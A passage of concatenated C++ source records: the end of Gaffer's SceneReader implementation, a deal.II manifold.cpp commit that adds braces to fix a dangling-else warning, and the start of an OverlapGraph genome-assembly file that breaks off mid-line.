const\n{\n\treturn getChild<StringPlug>( g_firstPlugIndex );\n}\n\nvoid SceneReader::affects( const Gaffer::Plug *input, AffectedPlugsContainer &outputs ) const\n{\n\tFileSource::affects( input, outputs );\n\t\n\tif( input == tagsPlug() )\n\t{\n\t\toutputs.push_back( outPlug()->childNamesPlug() );\n\t}\n}\n\nsize_t SceneReader::supportedExtensions( std::vector<std::string> &extensions )\n{\n\textensions = SceneInterface::supportedExtensions();\n\treturn extensions.size();\n}\n\nvoid SceneReader::hashBound( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tFileSource::hashBound( path, context, parent, h );\n\n\tConstSceneInterfacePtr s = scene( path );\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss || ss->numBoundSamples() > 1 )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nImath::Box3f SceneReader::computeBound( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn Box3f();\n\t}\n\t\n\tBox3d b = s->readBound( context->getFrame() \/ g_frameRate );\n\t\n\tif( b.isEmpty() )\n\t{\n\t\treturn Box3f();\n\t}\n\t\n\treturn Box3f( b.min, b.max );\n}\n\nvoid SceneReader::hashTransform( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tFileSource::hashTransform( path, context, parent, h );\n\t\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn;\n\t}\n\t\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss || ss->numTransformSamples() > 1 )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nImath::M44f SceneReader::computeTransform( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn M44f();\n\t}\n\t\t\n\tM44d t = s->readTransformAsMatrix( context->getFrame() \/ g_frameRate );\n\t\n\treturn M44f(\n\t\tt[0][0], t[0][1], t[0][2], t[0][3],\n\t\tt[1][0], t[1][1], t[1][2], t[1][3],\n\t\tt[2][0], t[2][1], t[2][2], t[2][3],\n\t\tt[3][0], t[3][1], t[3][2], t[3][3]\n\t);\n}\n\nvoid SceneReader::hashAttributes( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\th = parent->attributesPlug()->defaultValue()->Object::hash();\n\t\treturn;\n\t}\n\t\n\tSceneInterface::NameList attributeNames;\n\ts->attributeNames( attributeNames );\n\tSceneInterface::NameList tagNames;\n\ts->readTags( tagNames, IECore::SceneInterface::LocalTag );\n\t\n\tif( !attributeNames.size() && !tagNames.size() )\n\t{\n\t\th = parent->attributesPlug()->defaultValue()->Object::hash();\n\t\treturn;\n\t}\n\n\tFileSource::hashAttributes( path, context, parent, h );\n\n\tbool animated = false;\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss )\n\t{\n\t\tanimated = true;\n\t}\n\telse\n\t{\n\t\tfor( SceneInterface::NameList::iterator it = attributeNames.begin(); it != attributeNames.end(); ++it )\n\t\t{\n\t\t\tif( ss->numAttributeSamples( *it ) > 1 )\n\t\t\t{\n\t\t\t\tanimated = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t\t\t\t\n\tif( animated )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nIECore::ConstCompoundObjectPtr SceneReader::computeAttributes( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn parent->attributesPlug()->defaultValue();\n\t}\n\t\n\t\/\/ read attributes\n\t\n\tSceneInterface::NameList nameList;\n\ts->attributeNames( nameList );\n\t\n\tCompoundObjectPtr result = new CompoundObject;\n\t\n\tfor( SceneInterface::NameList::iterator it = nameList.begin(); it != nameList.end(); ++it )\n\t{\n\t\t\/\/ these internal attributes should be ignored:\n\t\tif( *it == SceneCache::animatedObjectTopologyAttribute )\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tif( *it == SceneCache::animatedObjectPrimVarsAttribute )\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\t\n\t\t\/\/ the const cast is ok, because we're only using it to put the object into a CompoundObject that will\n\t\t\/\/ be treated as forever const after being returned from this function.\n\t\tresult->members()[ std::string( *it ) ] = constPointerCast<Object>( s->readAttribute( *it, context->getFrame() \/ g_frameRate ) );\n\t}\n\n\t\/\/ read tags and turn them into attributes of the form \"user:tag:tagName\"\n\t\n\tnameList.clear();\n\ts->readTags( nameList, IECore::SceneInterface::LocalTag );\n\tfor( SceneInterface::NameList::const_iterator it = nameList.begin(); it != nameList.end(); ++it )\n\t{\n\t\tif( it->string().compare( 0, 11, \"ObjectType:\" ) == 0 )\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\tresult->members()[\"user:tag:\"+it->string()] = g_trueBoolData;\n\t}\n\n\treturn result;\n}\n\nvoid SceneReader::hashObject( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s || !s->hasObject() )\n\t{\n\t\t\/\/ no object\n\t\th = parent->objectPlug()->defaultValue()->hash();\n\t\treturn;\n\t}\n\n\tFileSource::hashObject( path, context, parent, h );\n\tconst SampledSceneInterface *ss = runTimeCast<const SampledSceneInterface>( s.get() );\n\tif( !ss || ss->numObjectSamples() > 1 )\n\t{\n\t\th.append( context->getFrame() );\n\t}\n}\n\nIECore::ConstObjectPtr SceneReader::computeObject( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s || !s->hasObject() )\n\t{\n\t\treturn parent->objectPlug()->defaultValue();\n\t}\n\t\n\treturn s->readObject( context->getFrame() \/ g_frameRate );\n}\n\nvoid SceneReader::hashChildNames( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent, IECore::MurmurHash &h ) const\n{\n\tFileSource::hashChildNames( path, context, parent, h );\n\ttagsPlug()->hash( h );\n}\n\nIECore::ConstInternedStringVectorDataPtr SceneReader::computeChildNames( const ScenePath &path, const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\tConstSceneInterfacePtr s = scene( path );\n\tif( !s )\n\t{\n\t\treturn parent->childNamesPlug()->defaultValue();\n\t}\n\n\t\/\/ get the child names\n\t\n\tInternedStringVectorDataPtr resultData = new InternedStringVectorData;\n\tvector<InternedString> &result = resultData->writable();\n\ts->childNames( result );\n\t\n\t\/\/ filter out any which don't have the right tags\n\t\n\tstd::string tagsString = tagsPlug()->getValue();\n\tif( !tagsString.empty() )\n\t{\n\t\ttypedef boost::tokenizer<boost::char_separator<char> > Tokenizer;\n\t\tTokenizer tagsTokenizer( tagsString, boost::char_separator<char>( \" \" ) );\n\t\t\n\t\tvector<InternedString> tags;\n\t\tstd::copy( tagsTokenizer.begin(), tagsTokenizer.end(), back_inserter( tags ) );\n\t\t\n\t\tvector<InternedString>::iterator newResultEnd = result.begin();\n\t\tSceneInterface::NameList childTags;\n\t\tfor( vector<InternedString>::const_iterator cIt = result.begin(), cEIt = result.end(); cIt != cEIt; ++cIt )\n\t\t{\n\t\t\tConstSceneInterfacePtr child = s->child( *cIt );\n\t\t\tchildTags.clear();\n\t\t\tchild->readTags( childTags, IECore::SceneInterface::EveryTag );\n\t\t\t\n\t\t\tbool childMatches = false;\n\t\t\tfor( SceneInterface::NameList::const_iterator tIt = childTags.begin(), tEIt = childTags.end(); tIt != tEIt; ++tIt )\n\t\t\t{\n\t\t\t\tif( find( tags.begin(), tags.end(), *tIt ) != tags.end() )\n\t\t\t\t{\n\t\t\t\t\tchildMatches = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tif( childMatches )\n\t\t\t{\n\t\t\t\t*newResultEnd++ = *cIt;\n\t\t\t}\n\t\t}\n\t\t\n\t\tresult.erase( newResultEnd, result.end() );\n\t}\n\t\n\treturn resultData;\n}\n\nIECore::ConstCompoundObjectPtr SceneReader::computeGlobals( const Gaffer::Context *context, const ScenePlug *parent ) const\n{\n\treturn parent->globalsPlug()->defaultValue();\n}\n\nvoid SceneReader::plugSet( Gaffer::Plug *plug )\n{\n\t\/\/ this clears the cache every time the refresh count is updated, so you don't get entries\n\t\/\/ from old files hanging around and screwing up the hierarchy.\n\t\/\/\/ \\todo The fact that this clears the cache for all nodes, ever is a problem - find a better\n\t\/\/ way of doing this!\n\tif( plug == refreshCountPlug() )\n\t{\n\t\tSharedSceneInterfaces::clear();\n\t\tm_lastScene.clear();\n\t}\n}\n\nConstSceneInterfacePtr SceneReader::scene( const ScenePath &path ) const\n{\n\tstd::string fileName = fileNamePlug()->getValue();\n\tif( !fileName.size() )\n\t{\n\t\treturn NULL;\n\t}\n\t\n\tLastScene &lastScene = m_lastScene.local();\n\tif( lastScene.fileName == fileName )\n\t{\n\t\tif( lastScene.path == path )\n\t\t{\n\t\t\treturn lastScene.pathScene;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tlastScene.path = path;\n\t\t\tlastScene.pathScene = lastScene.fileNameScene->scene( path );\n\t\t\treturn lastScene.pathScene;\n\t\t}\n\t}\n\n\tlastScene.fileName = fileName;\n\tlastScene.fileNameScene = SharedSceneInterfaces::get( fileName );\n\tlastScene.path = path;\n\tlastScene.pathScene = lastScene.fileNameScene->scene( path );\n\treturn lastScene.pathScene;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 1998 - 2015 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n#include <deal.II\/base\/tensor.h>\n#include <deal.II\/grid\/manifold.h>\n#include <deal.II\/grid\/tria.h>\n#include <deal.II\/grid\/tria_iterator.h>\n#include <deal.II\/grid\/tria_accessor.h>\n#include <deal.II\/fe\/fe_q.h>\n#include <cmath>\n\nDEAL_II_NAMESPACE_OPEN\n\nusing namespace Manifolds;\n\n\/* -------------------------- Manifold --------------------- *\/\n\n\ntemplate <int dim, int spacedim>\nManifold<dim, spacedim>::~Manifold ()\n{}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nproject_to_manifold (const std::vector<Point<spacedim> > &,\n                     const Point<spacedim> &) const\n{\n  Assert (false, ExcPureFunctionCalled());\n  return Point<spacedim>();\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point (const Quadrature<spacedim> &quad) const\n{\n  Assert(std::abs(std::accumulate(quad.get_weights().begin(), quad.get_weights().end(), 0.0)-1.0) < 1e-10,\n         ExcMessage(\"The weights for the individual points should sum to 1!\"));\n\n  Point<spacedim> p;\n  for (unsigned int i=0; i<quad.size(); ++i)\n    p += quad.weight(i) * quad.point(i);\n\n  return project_to_manifold(quad.get_points(), p);\n}\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point_on_line (const typename Triangulation<dim, spacedim>::line_iterator &line) const\n{\n  return get_new_point (get_default_quadrature(line));\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point_on_quad (const typename Triangulation<dim, spacedim>::quad_iterator &quad) const\n{\n  return get_new_point (get_default_quadrature(quad));\n}\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim,spacedim>::\nget_new_point_on_face (const typename Triangulation<dim,spacedim>::face_iterator &face) const\n{\n  Assert (dim>1, ExcImpossibleInDim(dim));\n\n  switch (dim)\n    {\n    case 2:\n      return get_new_point_on_line (face);\n    case 3:\n      return get_new_point_on_quad (face);\n    }\n\n  return Point<spacedim>();\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim,spacedim>::\nget_new_point_on_cell (const typename Triangulation<dim,spacedim>::cell_iterator &cell) const\n{\n  switch (dim)\n    {\n    case 1:\n      return get_new_point_on_line (cell);\n    case 2:\n      return get_new_point_on_quad (cell);\n    case 3:\n      return get_new_point_on_hex (cell);\n    }\n\n  return Point<spacedim>();\n}\n\n\ntemplate <>\nPoint<1>\nManifold<1,1>::\nget_new_point_on_face (const Triangulation<1,1>::face_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<1>();\n}\n\n\ntemplate <>\nPoint<2>\nManifold<1,2>::\nget_new_point_on_face (const Triangulation<1,2>::face_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<2>();\n}\n\n\n\ntemplate <>\nPoint<3>\nManifold<1,3>::\nget_new_point_on_face (const Triangulation<1,3>::face_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<3>();\n}\n\n\ntemplate <>\nPoint<1>\nManifold<1,1>::\nget_new_point_on_quad (const Triangulation<1,1>::quad_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<1>();\n}\n\n\n\ntemplate <>\nPoint<2>\nManifold<1,2>::\nget_new_point_on_quad (const Triangulation<1,2>::quad_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<2>();\n}\n\n\n\ntemplate <>\nPoint<3>\nManifold<1,3>::\nget_new_point_on_quad (const Triangulation<1,3>::quad_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<3>();\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point_on_hex (const typename Triangulation<dim, spacedim>::hex_iterator &\/*hex*\/) const\n{\n  Assert (false, ExcImpossibleInDim(dim));\n  return Point<spacedim>();\n}\n\n\n\ntemplate <>\nPoint<3>\nManifold<3,3>::\nget_new_point_on_hex (const Triangulation<3, 3>::hex_iterator &hex) const\n{\n  return get_new_point(get_default_quadrature(hex, true));\n}\n\n\n\ntemplate <int dim, int spacedim>\nTensor<1,spacedim>\nManifold<dim,spacedim>::get_tangent_vector(const Point<spacedim> &x1,\n                                           const Point<spacedim> &x2) const\n{\n  const double epsilon = 1e-8;\n\n  std::vector<Point<spacedim> > q;\n  q.push_back(x1);\n  q.push_back(x2);\n\n  std::vector<double> w;\n  w.push_back(epsilon);\n  w.push_back(1.0-epsilon);\n\n  const Tensor<1,spacedim> neighbor_point = get_new_point (Quadrature<spacedim>(q, w));\n  return (neighbor_point-x1)\/epsilon;\n}\n\n\/* -------------------------- FlatManifold --------------------- *\/\n\n\ntemplate <int dim, int spacedim>\nFlatManifold<dim,spacedim>::FlatManifold (const Point<spacedim> periodicity,\n                                          const double tolerance) :\n  periodicity(periodicity),\n  tolerance(tolerance)\n{}\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nFlatManifold<dim, spacedim>::\nget_new_point (const Quadrature<spacedim> &quad) const\n{\n  Assert(std::abs(std::accumulate(quad.get_weights().begin(), quad.get_weights().end(), 0.0)-1.0) < 1e-10,\n         ExcMessage(\"The weights for the individual points should sum to 1!\"));\n\n  const std::vector<Point<spacedim> > &surrounding_points = quad.get_points();\n  const std::vector<double> &weights = quad.get_weights();\n\n  Point<spacedim> p;\n  Point<spacedim> dp;\n  Point<spacedim> minP = periodicity;\n  const bool check_period = (periodicity.norm() > tolerance);\n  if (check_period)\n    for (unsigned int i=0; i<surrounding_points.size(); ++i)\n      for (unsigned int d=0; d<spacedim; ++d)\n        {\n          minP[d] = std::min(minP[d], surrounding_points[i][d]);\n          if (periodicity[d] > 0)\n            Assert( (surrounding_points[i][d] < periodicity[d]+tolerance*periodicity.norm()) ||\n                    (surrounding_points[i][d] >= -tolerance*periodicity.norm()),\n                    ExcPeriodicBox(d, surrounding_points[i], periodicity, tolerance*periodicity.norm()));\n        }\n\n  for (unsigned int i=0; i<surrounding_points.size(); ++i)\n    {\n      dp = Point<spacedim>();\n      if (check_period)\n        {\n          for (unsigned int d=0; d<spacedim; ++d)\n            if (periodicity[d] > 0)\n              dp[d] = ( (surrounding_points[i][d]-minP[d]) > periodicity[d]\/2.0 ?\n                        -periodicity[d] : 0.0 );\n        }\n      p += (surrounding_points[i]+dp)*weights[i];\n    }\n  if (check_period)\n    for (unsigned int d=0; d<spacedim; ++d)\n      if (periodicity[d] > 0)\n        p[d] = (p[d] < 0 ? p[d] + periodicity[d] : p[d]);\n\n  return project_to_manifold(surrounding_points, p);\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nFlatManifold<dim, spacedim>::project_to_manifold (const std::vector<Point<spacedim> > &\/*vertices*\/,\n                                                  const Point<spacedim> &candidate) const\n{\n  return candidate;\n}\n\n\n\ntemplate <int dim, int spacedim>\nTensor<1,spacedim>\nFlatManifold<dim, spacedim>::get_tangent_vector (const Point<spacedim> &x1,\n                                                 const Point<spacedim> &x2) const\n{\n  Tensor<1,spacedim> direction = x2-x1;\n\n  \/\/ see if we have to take into account periodicity. if so, we need\n  \/\/ to make sure that if a distance in one coordinate direction\n  \/\/ is larger than half of the box length, then go the other way\n  \/\/ around (i.e., via the periodic box)\n  for (unsigned int d=0; d<spacedim; ++d)\n    if (periodicity[d] > tolerance)\n      if (direction[d] < -periodicity[d]\/2)\n        direction[d] += periodicity[d];\n      else if (direction[d] > periodicity[d]\/2)\n        direction[d] -= periodicity[d];\n\n  return direction;\n}\n\n\n\n\/* -------------------------- ChartManifold --------------------- *\/\n\ntemplate <int dim, int spacedim, int chartdim>\nChartManifold<dim,spacedim,chartdim>::~ChartManifold ()\n{}\n\n\n\ntemplate <int dim, int spacedim, int chartdim>\nChartManifold<dim,spacedim,chartdim>::ChartManifold (const Point<chartdim> periodicity):\n  sub_manifold(periodicity)\n{}\n\n\ntemplate <int dim, int spacedim, int chartdim>\nPoint<spacedim>\nChartManifold<dim,spacedim,chartdim>::\nget_new_point (const Quadrature<spacedim> &quad) const\n{\n  const std::vector<Point<spacedim> > &surrounding_points = quad.get_points();\n  const std::vector<double> &weights = quad.get_weights();\n  std::vector<Point<chartdim> > chart_points(surrounding_points.size());\n\n  for (unsigned int i=0; i<surrounding_points.size(); ++i)\n    chart_points[i] = pull_back(surrounding_points[i]);\n\n  const Quadrature<chartdim> chart_quad(chart_points, weights);\n  const Point<chartdim> p_chart = sub_manifold.get_new_point(chart_quad);\n\n  return push_forward(p_chart);\n}\n\n\n\n\n\n\n\/\/ explicit instantiations\n#include \"manifold.inst\"\n\nDEAL_II_NAMESPACE_CLOSE\n\n<commit_msg>Avoid a warning about a dangling 'else'.<commit_after>\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 1998 - 2015 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n#include <deal.II\/base\/tensor.h>\n#include <deal.II\/grid\/manifold.h>\n#include <deal.II\/grid\/tria.h>\n#include <deal.II\/grid\/tria_iterator.h>\n#include <deal.II\/grid\/tria_accessor.h>\n#include <deal.II\/fe\/fe_q.h>\n#include <cmath>\n\nDEAL_II_NAMESPACE_OPEN\n\nusing namespace Manifolds;\n\n\/* -------------------------- Manifold --------------------- *\/\n\n\ntemplate <int dim, int spacedim>\nManifold<dim, spacedim>::~Manifold ()\n{}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nproject_to_manifold (const std::vector<Point<spacedim> > &,\n                     const Point<spacedim> &) const\n{\n  Assert (false, ExcPureFunctionCalled());\n  return Point<spacedim>();\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point (const Quadrature<spacedim> &quad) const\n{\n  Assert(std::abs(std::accumulate(quad.get_weights().begin(), quad.get_weights().end(), 0.0)-1.0) < 1e-10,\n         ExcMessage(\"The weights for the individual points should sum to 1!\"));\n\n  Point<spacedim> p;\n  for (unsigned int i=0; i<quad.size(); ++i)\n    p += quad.weight(i) * quad.point(i);\n\n  return project_to_manifold(quad.get_points(), p);\n}\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point_on_line (const typename Triangulation<dim, spacedim>::line_iterator &line) const\n{\n  return get_new_point (get_default_quadrature(line));\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point_on_quad (const typename Triangulation<dim, spacedim>::quad_iterator &quad) const\n{\n  return get_new_point (get_default_quadrature(quad));\n}\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim,spacedim>::\nget_new_point_on_face (const typename Triangulation<dim,spacedim>::face_iterator &face) const\n{\n  Assert (dim>1, ExcImpossibleInDim(dim));\n\n  switch (dim)\n    {\n    case 2:\n      return get_new_point_on_line (face);\n    case 3:\n      return get_new_point_on_quad (face);\n    }\n\n  return Point<spacedim>();\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim,spacedim>::\nget_new_point_on_cell (const typename Triangulation<dim,spacedim>::cell_iterator &cell) const\n{\n  switch (dim)\n    {\n    case 1:\n      return get_new_point_on_line (cell);\n    case 2:\n      return get_new_point_on_quad (cell);\n    case 3:\n      return get_new_point_on_hex (cell);\n    }\n\n  return Point<spacedim>();\n}\n\n\ntemplate <>\nPoint<1>\nManifold<1,1>::\nget_new_point_on_face (const Triangulation<1,1>::face_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<1>();\n}\n\n\ntemplate <>\nPoint<2>\nManifold<1,2>::\nget_new_point_on_face (const Triangulation<1,2>::face_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<2>();\n}\n\n\n\ntemplate <>\nPoint<3>\nManifold<1,3>::\nget_new_point_on_face (const Triangulation<1,3>::face_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<3>();\n}\n\n\ntemplate <>\nPoint<1>\nManifold<1,1>::\nget_new_point_on_quad (const Triangulation<1,1>::quad_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<1>();\n}\n\n\n\ntemplate <>\nPoint<2>\nManifold<1,2>::\nget_new_point_on_quad (const Triangulation<1,2>::quad_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<2>();\n}\n\n\n\ntemplate <>\nPoint<3>\nManifold<1,3>::\nget_new_point_on_quad (const Triangulation<1,3>::quad_iterator &) const\n{\n  Assert (false, ExcImpossibleInDim(1));\n  return Point<3>();\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nManifold<dim, spacedim>::\nget_new_point_on_hex (const typename Triangulation<dim, spacedim>::hex_iterator &\/*hex*\/) const\n{\n  Assert (false, ExcImpossibleInDim(dim));\n  return Point<spacedim>();\n}\n\n\n\ntemplate <>\nPoint<3>\nManifold<3,3>::\nget_new_point_on_hex (const Triangulation<3, 3>::hex_iterator &hex) const\n{\n  return get_new_point(get_default_quadrature(hex, true));\n}\n\n\n\ntemplate <int dim, int spacedim>\nTensor<1,spacedim>\nManifold<dim,spacedim>::get_tangent_vector(const Point<spacedim> &x1,\n                                           const Point<spacedim> &x2) const\n{\n  const double epsilon = 1e-8;\n\n  std::vector<Point<spacedim> > q;\n  q.push_back(x1);\n  q.push_back(x2);\n\n  std::vector<double> w;\n  w.push_back(epsilon);\n  w.push_back(1.0-epsilon);\n\n  const Tensor<1,spacedim> neighbor_point = get_new_point (Quadrature<spacedim>(q, w));\n  return (neighbor_point-x1)\/epsilon;\n}\n\n\/* -------------------------- FlatManifold --------------------- *\/\n\n\ntemplate <int dim, int spacedim>\nFlatManifold<dim,spacedim>::FlatManifold (const Point<spacedim> periodicity,\n                                          const double tolerance) :\n  periodicity(periodicity),\n  tolerance(tolerance)\n{}\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nFlatManifold<dim, spacedim>::\nget_new_point (const Quadrature<spacedim> &quad) const\n{\n  Assert(std::abs(std::accumulate(quad.get_weights().begin(), quad.get_weights().end(), 0.0)-1.0) < 1e-10,\n         ExcMessage(\"The weights for the individual points should sum to 1!\"));\n\n  const std::vector<Point<spacedim> > &surrounding_points = quad.get_points();\n  const std::vector<double> &weights = quad.get_weights();\n\n  Point<spacedim> p;\n  Point<spacedim> dp;\n  Point<spacedim> minP = periodicity;\n  const bool check_period = (periodicity.norm() > tolerance);\n  if (check_period)\n    for (unsigned int i=0; i<surrounding_points.size(); ++i)\n      for (unsigned int d=0; d<spacedim; ++d)\n        {\n          minP[d] = std::min(minP[d], surrounding_points[i][d]);\n          if (periodicity[d] > 0)\n            Assert( (surrounding_points[i][d] < periodicity[d]+tolerance*periodicity.norm()) ||\n                    (surrounding_points[i][d] >= -tolerance*periodicity.norm()),\n                    ExcPeriodicBox(d, surrounding_points[i], periodicity, tolerance*periodicity.norm()));\n        }\n\n  for (unsigned int i=0; i<surrounding_points.size(); ++i)\n    {\n      dp = Point<spacedim>();\n      if (check_period)\n        {\n          for (unsigned int d=0; d<spacedim; ++d)\n            if (periodicity[d] > 0)\n              dp[d] = ( (surrounding_points[i][d]-minP[d]) > periodicity[d]\/2.0 ?\n                        -periodicity[d] : 0.0 );\n        }\n      p += (surrounding_points[i]+dp)*weights[i];\n    }\n  if (check_period)\n    for (unsigned int d=0; d<spacedim; ++d)\n      if (periodicity[d] > 0)\n        p[d] = (p[d] < 0 ? p[d] + periodicity[d] : p[d]);\n\n  return project_to_manifold(surrounding_points, p);\n}\n\n\n\ntemplate <int dim, int spacedim>\nPoint<spacedim>\nFlatManifold<dim, spacedim>::project_to_manifold (const std::vector<Point<spacedim> > &\/*vertices*\/,\n                                                  const Point<spacedim> &candidate) const\n{\n  return candidate;\n}\n\n\n\ntemplate <int dim, int spacedim>\nTensor<1,spacedim>\nFlatManifold<dim, spacedim>::get_tangent_vector (const Point<spacedim> &x1,\n                                                 const Point<spacedim> &x2) const\n{\n  Tensor<1,spacedim> direction = x2-x1;\n\n  \/\/ see if we have to take into account periodicity. if so, we need\n  \/\/ to make sure that if a distance in one coordinate direction\n  \/\/ is larger than half of the box length, then go the other way\n  \/\/ around (i.e., via the periodic box)\n  for (unsigned int d=0; d<spacedim; ++d)\n    if (periodicity[d] > tolerance)\n      {\n        if (direction[d] < -periodicity[d]\/2)\n          direction[d] += periodicity[d];\n        else if (direction[d] > periodicity[d]\/2)\n          direction[d] -= periodicity[d];\n      }\n\n  return direction;\n}\n\n\n\n\/* -------------------------- ChartManifold --------------------- *\/\n\ntemplate <int dim, int spacedim, int chartdim>\nChartManifold<dim,spacedim,chartdim>::~ChartManifold ()\n{}\n\n\n\ntemplate <int dim, int spacedim, int chartdim>\nChartManifold<dim,spacedim,chartdim>::ChartManifold (const Point<chartdim> periodicity):\n  sub_manifold(periodicity)\n{}\n\n\ntemplate <int dim, int spacedim, int chartdim>\nPoint<spacedim>\nChartManifold<dim,spacedim,chartdim>::\nget_new_point (const Quadrature<spacedim> &quad) const\n{\n  const std::vector<Point<spacedim> > &surrounding_points = quad.get_points();\n  const std::vector<double> &weights = quad.get_weights();\n  std::vector<Point<chartdim> > chart_points(surrounding_points.size());\n\n  for (unsigned int i=0; i<surrounding_points.size(); ++i)\n    chart_points[i] = pull_back(surrounding_points[i]);\n\n  const Quadrature<chartdim> chart_quad(chart_points, weights);\n  const Point<chartdim> p_chart = sub_manifold.get_new_point(chart_quad);\n\n  return push_forward(p_chart);\n}\n\n\n\n\n\n\n\/\/ explicit instantiations\n#include \"manifold.inst\"\n\nDEAL_II_NAMESPACE_CLOSE\n\n<|endoftext|>"}
{"text":"<commit_before>#include <vector>\n#include <iostream>\n#include <stdlib.h>\n#include <string.h>\n#include <fstream>\n#include \"overlapgraph.h\"\n\n#define VERTEX_INACTIVE 0\n#define VERTEX_ACTIVE 1\n#define VERTEX_ELIMINATED -1\n#define FUZZ 10\n\nusing namespace std;\n\nOverlapGraph::OverlapGraph(std::vector<std::string> readvector, std::vector<overlap> overlapvector)\n{\n\treads = readvector;\n\toverlaps = overlapvector;\n}\n\nvoid OverlapGraph::initialize()\n{\n\tgraph.resize(reads.size());\n\treducedGraph.resize(reads.size());\n\tnonContainedReads.resize(reads.size());\n\tnonContainedReads.assign(reads.size(), 1);\n\n\tfor(int i=0;i<overlaps.size();i++)\n\t{\n\t\toverlap o = overlaps[i];\n\n\n\t\t\/\/removing contained reads\n\t\tif(o.ahg > 0 & o.bhg > 0)\n\t\t\tgraph[o.read1].push_back(o);\n\t\telse if (o.ahg < 0 & o.bhg < 0)\n\t\t\tgraph[o.read2].push_back(o);\n\t\telse if (o.ahg > 0 & o.bhg < 